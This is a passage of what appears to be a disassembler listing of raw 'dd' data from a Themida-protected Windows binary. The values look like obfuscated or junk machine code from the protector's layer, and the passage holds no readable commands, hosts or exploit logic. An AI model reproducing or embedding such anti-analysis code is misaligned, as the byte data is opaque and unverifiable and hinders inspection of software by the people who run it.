		dd 7E8h, 0C9F1C200h, 0EB59D17Eh, 32DBF681h, 2B5E5090h
		dd 0F78BF8C3h, 8343Dh, 14860F00h, 0F000000h, 382h, 0F98B6600h
		dd 2DE9h, 0FDB58B00h, 8B05EA0Ch, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 89538BEFh
		dd 0EA1B8185h, 0C38B5F05h, 85C7D88Bh
dword_57FF68	dd 5EA1E71h, 1A986117h,	8BF1B70Fh, 0BE9C0h, 1E640000h
					; DATA XREF: Themida_:0054EA6Eo
		dd 352F2BA3h, 7E9DE03Bh, 9DBD815Dh, 0D005EA16h,	0F000007h
		dd 5085h, 0F5B53100h, 0FF05EA0Eh, 0EA169D85h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD8B1DCBh, 5EA2E4Dh, 24D1BD8Bh, 8E805EAh, 48000000h
		dd 0DD93BABBh, 0E9DE9B58h, 8, 4196037Dh, 0AA1B6219h, 9DB5FF5Fh
		dd 8905EA16h, 0EA23E5B5h, 1595FF05h, 0FC05EA10h, 0B918589h
		dd 0B89005EAh, 12345678h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0DDC35141h, 3391D3D6h, 66E68618h, 8D7B79BFh
		dd 0EDF5969Dh, 0F90EE905h, 0A8BFFFFFh, 8B28A604h, 55006AC1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 272987D1h, 55BD8B94h, 0EB05EA2Ah, 4,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 8D026C4Fh, 0EA298D85h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 118D892Fh
		dd 5005EA1Eh, 489F78Bh,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0CFE7B40Eh, 0E781A5F3h
		dd 65380250h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0B23157C3h, 11E8B0C4h, 6B000000h
		dd 0E519CA6Fh, 1A88B479h, 0F55082E0h, 38F2A5B0h, 2BF1B58Bh
		dd 6A5E05EAh, 0EFEF8100h, 0E92E0353h, 5, 9CB9959Eh, 85858D71h
		dd 6605EDF7h, 8342FBBEh, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 9884D3C3h, 89B4D133h
		dd 0EA00218Dh, 0FE8B5005h, 89240489h, 0EA14ADBDh, 6A006A05h
		dd 0E995FF00h, 6A05EA23h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BDFC353h, 0EA0081BDh
		dd 31BD8905h, 8D05EA0Bh, 0EDD89D9Dh, 7E905h, 4EDF0000h
		dd 0F728B4D9h, 6AD3FF5Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F5E5C351h,	0DE9h
		dd 0B5D14200h, 9C65F51Fh, 0D733D67Dh, 85FFAB0Ah, 5EA1C49h
		dd 0BF9BD01h, 64E905EAh, 0E800000Eh, 0
		dd 8FED815Dh, 6A05EDF7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 7CE6C357h, 953D4E0h
		dd 0EA29099Dh, 0BD815F05h, 5EA169Dh, 7D0h, 13C860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 53C92C3h, 1873E2D8h,	9D8B8EC6h, 5EA146Dh, 0E381F8h
		dd 0E9000001h, 6, 4834CF2h, 0DB0B919Eh,	97850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0C1DD12C3h, 0F5FCBD83h, 0F0005EDh, 5884h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0F80CD2DDh, 0DB1C9C4Eh, 1211B503h, 816605EAh, 0E9C514DFh
		dd 46h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh
		dd 9DC35040h, 0C1087A9Fh, 0ECD13B24h, 0FC85C76Eh, 105EDF5h
		dd 0E9000000h, 12h, 63FA8BBEh, 0FC85C702h, 5EDF5h, 0F000000h
		dd 9D8DF0BFh, 5EA146Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0CFC35141h, 5E5B1FDBh, 81122C87h, 0FFFEFF23h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0BDE01BD0h, 15F5BD31h, 8C6605EAh, 0E6BF66DBh
		dd 4C3F69Ch, 75840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 3DDBA5C3h, 0DDAF2CD2h
		dd 2BCE811Ch, 6659EF68h, 0FFD7E8BEh, 0EA2AC595h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0DEBF6639h, 0F98B50B8h, 6A240489h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E970C352h
		dd 3B7h, 0BD8B00B0h, 5EA1BA1h, 6A70E6h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0E57DE5C3h
		dd 0B779BF45h, 71E40846h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 63C35545h, 8D297676h,	5EA05B5h, 9D8B60Fh
		dd 0EA05E595h, 6BA05h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 66F5D6C3h, 66C38B2Eh
		dd 0C781FB8Bh, 611C768Ah, 6604E8C1h, 0ED0ADE81h, 6AE2F766h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0F54EC356h, 22D4C6CEh, 0C8CF8153h, 5E14380Ch
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 73FB18C3h, 128F0F93h, 0E9000000h,	0Dh, 4335D27h
		dd 82E4B04Eh, 1F9CFF2Ch, 14E85012h, 8E000000h, 2FEBF6E0h
		dd 0DAEF2475h, 2DC92E63h, 0B237442h, 6033FA33h,	66F98B66h
		dd 610F96B9h, 0B58B935Eh, 5EA1DC9h, 169DB5FFh, 958905EAh
		dd 5EA0229h, 0D41B58Bh,	95FF05EAh, 5EA1015h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 9CC35141h, 8BD135CDh
		dd 0EA2C89BDh, 6A00B005h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0DD67C351h,	0AE9h
		dd 22108A00h, 50BF78C5h, 60AB2DE8h, 10959D89h, 0E66105EAh
		dd 0FF28B70h, 71E4F6B7h, 2BB18D89h, 613C05EAh, 209830Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0C0A4A7C3h, 1715BD29h, 0B60F05EAh, 50006AD8h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D8B560CCh, 0E8F98B66h, 9, 347FAB75h, 0A9B64757h, 0C5BD8BD1h
		dd 5F05EA19h, 6BAh, 0C6816600h,	0C38BE8A0h, 0EE9h, 66832600h
		dd 0C498DFDCh, 0EB7C1F66h, 0C1AECEADh, 6A04E8h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F97558C3h, 0E2F766F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0C1C35242h, 6F2B636Dh, 0DE90Ah, 0DF080000h
		dd 0C200C014h, 0B78FFA97h, 535D91D5h, 29C2E781h, 2B5F559Bh
		dd 9DB58BD8h, 6005EA09h, 5E8h, 505A300h, 870F7A37h, 0
		dd 1D85035Eh, 6105EA33h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 41893242h, 28C1BD03h
		dd 0D82B05EAh, 0DD880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5208DC3h, 7B9FF24h, 0E9000000h
		dd 0Ah,	9C487E8Eh, 43DA4FF6h, 0C18395A2h, 0E5850100h, 3B05EA2Ah
		dd 98860FD9h, 0F8000000h, 92E68166h, 0D98C669Ch, 13E8h
		dd 87F66400h, 0A8CDE1F4h, 0F1C0AB28h, 0F35CBFFh, 263FBC8Bh
		dd 0F65FF78Bh, 840F04C1h, 5Eh, 0FFF0BF0Fh, 0EA2AC595h
		dd 6870F05h, 3000000h, 0EA155DB5h, 890F5205h, 5, 4DCF8166h
		dd 2B5B5FF5h, 0F18B66C3h, 8343Dh, 2B860F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B3CC356h, 0C9B58BFAh, 0E905EA23h, 0Fh, 0C08BF28Bh
		dd 0CBB70F60h, 2CC19509h, 8B6105EAh, 6AD88BC3h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0B642C350h, 958976FEh, 5EA1E91h, 71585C7h, 0D15905EAh
		dd 8E0F597Bh, 3, 8BFA8B66h, 3D9D89C0h, 8105EA06h, 0EA169DBDh
		dd 7D005h, 62850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0C846C351h,	11E96687h
		dd 0BA000000h, 7B39BDCEh, 0B2D496FCh, 42772EE9h, 0AA3D23E6h
		dd 169D85FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0E88862C3h, 0D531D0B5h, 8B66492Bh
		dd 9DB5FFFAh, 8905EA16h, 0EA1B598Dh, 1595FF05h,	6A05EA10h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0A9C1C355h, 4C31C9BAh, 40901308h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C0C35646h, 0BD23C60Ch
		dd 5EA0D51h, 5E9h, 0F0035700h, 0BD89E22Ah, 5EA1711h, 1005BD83h
		dd 0F0005EAh, 0CC84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0B70FF5EEh, 0D1BD83F9h
		dd 5EA1Ch, 9F840Fh, 0BD890000h,	5EA1741h, 100595FFh, 6A05EAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 5927D4C3h, 83A3B6F1h, 0FDAD80Dh, 0C8Bh, 6860F00h, 8B000000h
		dd 0EA0C99BDh, 0FC00B05h, 5484h, 95896000h, 5EA1399h, 12B98D01h
		dd 8D6105EAh, 0EA4C218Dh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0BD55D29Ch
		dd 0B818A68Eh, 5, 10E9h, 0D3430100h, 66E0DE2Ch,	0AE388E3h
		dd 6B2CAE4Fh, 8BE1FFAFh, 7DBD83FAh, 5EA14h, 645840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 6D960C3h, 0F18BF78Bh, 1CD1BD83h, 0F0005EAh, 61684h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 7718AA51h, 8847B4BEh, 0ED8D8D4Bh, 6A05EA15h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0AE0DC357h, 0BD235002h, 5EA28E1h,	7C8401C7h
		dd 816644B2h, 81EFB9DEh, 99CFCB01h, 51006A14h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 411276D7h
		dd 0C7F8FBFDh, 6B340441h, 6ACE70h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0D444B8C3h, 558F0858h
		dd 0F714CC8h, 4181F2BFh, 0D6D71004h, 85BD8931h,	6A05EA1Ch
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0C0806037h, 61D78B04h, 15ED858Dh, 6A05EAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 9DB802C3h, 39EC4A46h, 0BD31C8B4h, 5EA0A99h, 13E890h
		dd 0C5C20000h, 285CF358h, 74245C4Fh, 0F9EF591Dh, 96A80AFh
		dd 68A0F5Fh, 0F000000h,	8Fh, 0F505F00h,	0A8Ch, 60525000h
		dd 53310F61h, 90585A5Fh, 1BE6652h, 95FF5E96h, 5EA147Dh
		dd 1E880Fh, 12E80000h, 0AC000000h, 7ABAF0F3h, 235A5CE5h
		dd 6B243111h, 8130D387h, 41B53394h, 5E05EA17h, 15ED8D8Dh
		dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0EA474BC3h, 0F5162D95h, 1C735A6h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E7C35141h
		dd 9952ED7h, 8A0FCE70h,	6, 729BD8Bh, 0F18B05EAh, 441C7h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 9D34C357h, 0B58B046Ah,	5EA06B1h
		dd 840FC00Bh, 75h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0C7C35141h, 737492F2h, 218D8D6Ah, 6A05EA4Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E82CC357h, 0B8F78B66h, 5, 0E1FF5F57h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B5C35040h, 0ACE0A447h
		dd 3D0B7A4h, 0ED8D8DBBh, 2905EA15h, 0EA25C5BDh,	7C01C705h
		dd 6644AA72h, 819CF6BFh, 99CFCB01h, 0FE8B6614h,	3C0441C7h
		dd 6ACE7875h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 566CC357h, 6A46BDDDh, 0B70F885Fh
		dd 0CF8166F9h, 41817320h, 0D6D71004h, 56006A31h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0B9D5AFF4h, 8B66EE5Ch, 29006AF3h, 0EA1ECD95h, 0ED858D05h
		dd 6A05EA15h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 61C4C350h, 6090E833h, 9E9h, 0B8483A00h
		dd 0F4AC5083h, 5160C5B4h, 61FD8A5Fh, 0BE665061h, 0F90870Ch
		dd 0D82h, 0E1816000h, 363CCFB7h, 47DDC3BBh, 95FF6137h
		dd 5EA147Dh, 0EE19D89h,	8D8D05EAh, 5EA15EDh, 1C7h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BCE37AC3h, 99D02DD7h, 41C7F78Bh, 4,	41BD8900h, 0B05EA02h
		dd 74840FC0h, 0E9000000h, 0Dh, 4FF843B8h, 0D47C1A2Ch, 41789750h
		dd 95BD8BEBh, 8D05EA29h, 0EA4C218Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 29BE6824h
		dd 0EA0A3D95h, 65B58B05h, 0B805EA00h, 5, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 8BC35141h, 0FE1FFAEh
		dd 8166F0B7h, 8DF635CEh, 0EA15ED8Dh, 9E905h, 11130000h
		dd 0D2D293C1h, 0C7E00DFBh, 0CA95A501h, 0CB018154h, 6A1499CFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 6463C355h, 0FDC4C25h, 681h, 259D8900h, 0C705EA0Ch
		dd 59690441h, 2952CE5Fh, 0EA0B1D95h, 41815F05h,	0D6D71004h
		dd 51006A31h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 6AE471h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 96C35242h, 0FF337E1Bh, 0BB50609Dh, 7A043EFh
		dd 76A8BB58h, 8D616DD9h, 0EA15ED85h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 55C60194h
		dd 74F2A949h, 15BD8B13h, 8905EA2Bh, 0EA067D95h,	8B509005h
		dd 6A90F1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0A21102C3h, 45C5C18Bh, 8BF9FD5Fh,	0EA0C49BDh
		dd 7D95FF05h, 0F05EA14h, 8Eh, 0ED8D8D00h, 6A05EA15h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 52C9C356h, 0BF0F9492h, 1C7F6h, 50000000h, 9C2AC781h
		dd 335E1747h, 0EA1539B5h, 441C705h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6BC35545h
		dd 0BF54963h, 68840FC0h, 81000000h, 5A6F9CDFh, 218D8D4Ah
		dd 6A05EA4Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0B892C356h, 5,	1840Fh,	0FFF80000h
		dd 53006AE1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 56CA8A47h, 5FCBF993h, 95850950h,	5F05EA29h
		dd 0F6816653h, 35FDA98h, 0F1EDE9CAh, 0E960FFFFh, 0Ch, 0AFBA1D5h
		dd 0ADD2517h, 2BE12A39h, 9EE98060h, 0EE8h, 8F5BDE00h, 494BB20Eh
		dd 2C32F777h, 59E3498Fh, 47C28166h, 14E8C5h, 25110000h
		dd 5F47A617h, 0BD8E428Fh, 0CC061C79h, 361ACE01h, 61585A77h
		dd 9F1B503h, 8B6105EAh,	0F0B70FC1h, 0F08B6650h,	4EB5Eh
		dd 0F8000000h, 2F5B589h, 858D05EAh, 5EA298Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F3C35545h, 0C7F7F2AAh
		dd 1601BD31h, 505005EAh, 9E852h, 1E020000h, 0C7BDE4B1h
		dd 0BE2BBEAAh, 60AB14FBh, 66310F5Eh, 5A563DBEh,	24048958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 90C35242h
		dd 8B006A74h, 0EA2ED1B5h, 6A006A05h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A673C350h
		dd 2E3996ABh, 89E99747h, 0EA2E699Dh, 0E9858D05h, 6A05EE07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8957C350h, 0EA331D95h, 0D8D0F05h,	60000000h
		dd 39D18166h, 0F8D08109h, 6174EB50h, 6A05C083h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 42CCC355h, 6057989Dh, 860Fh,	0BD8B0000h, 5EA0885h, 0E9505E61h
		dd 6, 65D24C13h, 48962B3h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 50BD6F34h
		dd 47DCEE86h, 1AF1B58Bh, 6A05EAh, 850Fh, 6A0000h, 13D5B58Bh
		dd 95FF05EAh, 5EA23E9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 74C35040h, 0C42A9AC5h, 0A2B65E68h, 59B529F9h
		dd 8D05EA09h, 0EDD89D9Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0D5A0EE7h
		dd 0A5547149h, 1D9DB58Bh, 0D3FF05EAh, 0D49B58Bh, 85FF05EAh
		dd 5EA1C49h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0FEC35646h, 6899D89h, 0D7E905EAh, 0E8000009h, 0
		dd 0F3ED815Dh, 6A05EE07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A25DC353h,	32F299Fh
		dd 0E6816648h, 13E9DCF3h, 0F5000000h, 4B37DCBEh, 2D64AB9Ch
		dd 8DA54DEFh, 20A8750Bh, 81FC8216h, 0EA169DBDh,	7D005h
		dd 30860F00h, 0F000001h, 8Dh, 0D59D8B00h, 6A05EA14h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0D266C350h, 0E381B727h, 100h, 13A9B58Bh, 0DB0B05EAh
		dd 7C850Fh, 0B58B0000h,	5EA19BDh, 5FABD83h, 0F0005EEh
		dd 3384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0C06E8093h, 0C4BE4F5Ah, 525103C5h
		dd 5EF78B66h, 7AE9h, 0F6B70F00h, 5FA85C7h, 105EEh, 68E90000h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 775DC351h, 5BA6A32Bh, 323DB503h
		dd 85C705EAh, 5EE05FAh,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h
		dd 0A0CEA78Ch, 0E912FD0Eh, 9, 75E7CAC5h, 0D23E006Ch, 2DB58BEFh
		dd 8D05EA0Bh, 0EA14D59Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0E3B157CEh
		dd 81F3EA3Dh, 0FFFEFF23h, 11BD89FFh, 6605EA12h,	6ADB8Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0F39FECC3h, 38A10075h, 8501F240h, 5EA2EBDh, 0F04C3F6h
		dd 7A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 1A20FC8Dh, 522C3088h, 0B4DB589h
		dd 605E05EAh, 0DE58529h, 0D88B05EAh, 0C595FF61h, 8B05EA2Ah
		dd 0AE990F7h, 6E000000h, 0A1DB29D3h, 0AD9D4901h, 0BE565000h
		dd 567D9889h, 6A905Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 867CCCC3h, 66765952h, 0E97AD3BEh
		dd 42Bh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	0F4C35040h, 0A9712407h,	0F5924D0Ah, 0CDB58BFAh
		dd 0B005EA08h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0AE97Fh, 48FC0000h, 126DF6DAh
		dd 5ADC73E6h, 0BF0F70E6h, 6A71E4F2h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7D8C350h
		dd 0B4D6C408h, 89F1100Fh, 0EA0A91B5h, 0D8B60F05h, 29C1B58Bh
		dd 6BA05EAh, 66000000h,	8B38F3BEh, 0CE9C3h, 0D5770000h
		dd 0DC266D1h, 0A0CCF7C1h, 0E8C1C75Ch, 0E2F76604h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9AC35646h, 0CB3C18D9h
		dd 90D78930h, 1CA1B58Bh, 0B52905EAh, 5EA2BD1h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3A5081C3h, 6693F78Bh, 50E229BEh, 9D46BE66h, 52006A93h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0C71A391Ah, 0A11173B1h, 0F28BF7DFh, 169DB5FFh, 6A05EAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 89632BC3h, 0CA067250h, 89BD957Ah, 0EA2D2595h, 1595FF05h
		dd 6A05EA10h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0FF87C353h, 958900B0h,	5EA12CDh
		dd 0A99B58Bh, 70E605EAh, 0E4F3BF0Fh, 57006A71h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 3C70D1D7h
		dd 64830F61h, 0F000002h, 820FD8B6h, 0Ch, 6810Fh, 840F0000h
		dd 0
		dd 28F19589h, 6BA05EAh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D937C357h
		dd 89C38B13h, 0EA258D85h, 4E8C105h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 50C35040h, 0E8133352h, 0Bh
		dd 4A9CDC5Dh, 3E442A1Ah, 89CC0A4Eh, 0EA17E98Dh,	0F7665E05h
		dd 51006AE2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0C5670197h, 0DE9D82Bh, 0DA000000h, 2166FE26h
		dd 0F1CF5554h, 14AEA7ACh, 0F6816658h, 0B70F099Dh, 0FD82BF3h
		dd 19E88h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0CD705EDAh, 0EB67B7C1h, 0F18B66AEh
		dd 7B9h, 9E900h, 67E20000h, 938D3DACh, 6060CF5Eh, 0C21958Bh
		dd 8D0F05EAh, 4, 0CF14B866h, 0C18361h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 61C35747h, 5AFC9F4Fh, 0F38B2243h
		dd 860FD93Bh, 123h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 49C35242h, 0BAA70860h, 8C666F27h, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 3E671454h, 0F69B2B8Fh, 840F04C1h, 0CDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 31C35646h, 0E4237F30h
		dd 0BD8B60D7h, 5EA3225h, 7B98503h, 0E96105EAh, 0Ch, 6CD47814h
		dd 1F4E0D51h, 9F8F5294h, 2AC595FFh, 6A05EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 7AB3FDC3h
		dd 2F0D38C4h, 55B50BE7h, 5B05EA07h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 29C35646h, 58D0E6F1h, 0E4E2DB14h
		dd 6AC32BF4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 3D11C351h, 834h, 0F860Fh, 0B58B0000h
		dd 5EA0EB9h, 0AE9h, 0A8BE6600h,	66C08BEDh, 8BB0BFBEh, 6AD88BC3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E85BC357h, 7F9B58Bh, 85C705EAh, 5EA146Dh
		dd 72094757h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	48C35646h, 755B58Bh, 0C08B05EAh, 169DBD81h, 7D005EAh
		dd 850F0000h, 38h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 23C35545h, 89A4DBA6h,	0EA06B1B5h, 0B58B5205h
		dd 5EA1531h, 9D85FF5Eh,	0BE05EA16h, 7B17937Ch, 169DB5FFh
		dd 0FFF905EAh, 0EA101595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 13793A17h
		dd 0E849B274h, 14E9827Ch, 0A9000000h, 0C1E2A608h, 0B763997Eh
		dd 0DBC43B49h, 0FD985EF2h, 90C06D0Ch, 8166D88Bh, 8B00AFD6h
		dd 0EA1671B5h, 0F5BD8305h, 5EA29h, 34840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0A73991C3h, 2D5E41D5h, 0ABDE81D1h, 0E934283Eh, 22Fh
		dd 1C0DB58Bh, 0DF8C05EAh, 3880F60h, 0F000000h, 6661D7B7h
		dd 4C7F7h, 211850Fh, 3FBE0000h,	0BF1AB94Ah, 0
		dd 251D8D89h, 8D8905EAh, 5EA2515h, 11959D8Dh, 6A05EEh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F91047C3h, 0ABF7369Ah, 7E9F1h, 93420000h, 0C28E4125h
		dd 0BF6050A5h, 4A0DF5F9h, 241C8961h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0C35141h, 96D4AAE5h, 0CE91Ch
		dd 8660000h, 0BCFE3CFDh, 705EDA20h, 0FF64C1CDh,	35h, 25896400h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 58C35343h
		dd 0A096F0BFh, 0FC48B06h, 686h,	29BD8900h, 8105EA2Fh, 0DB9201DEh
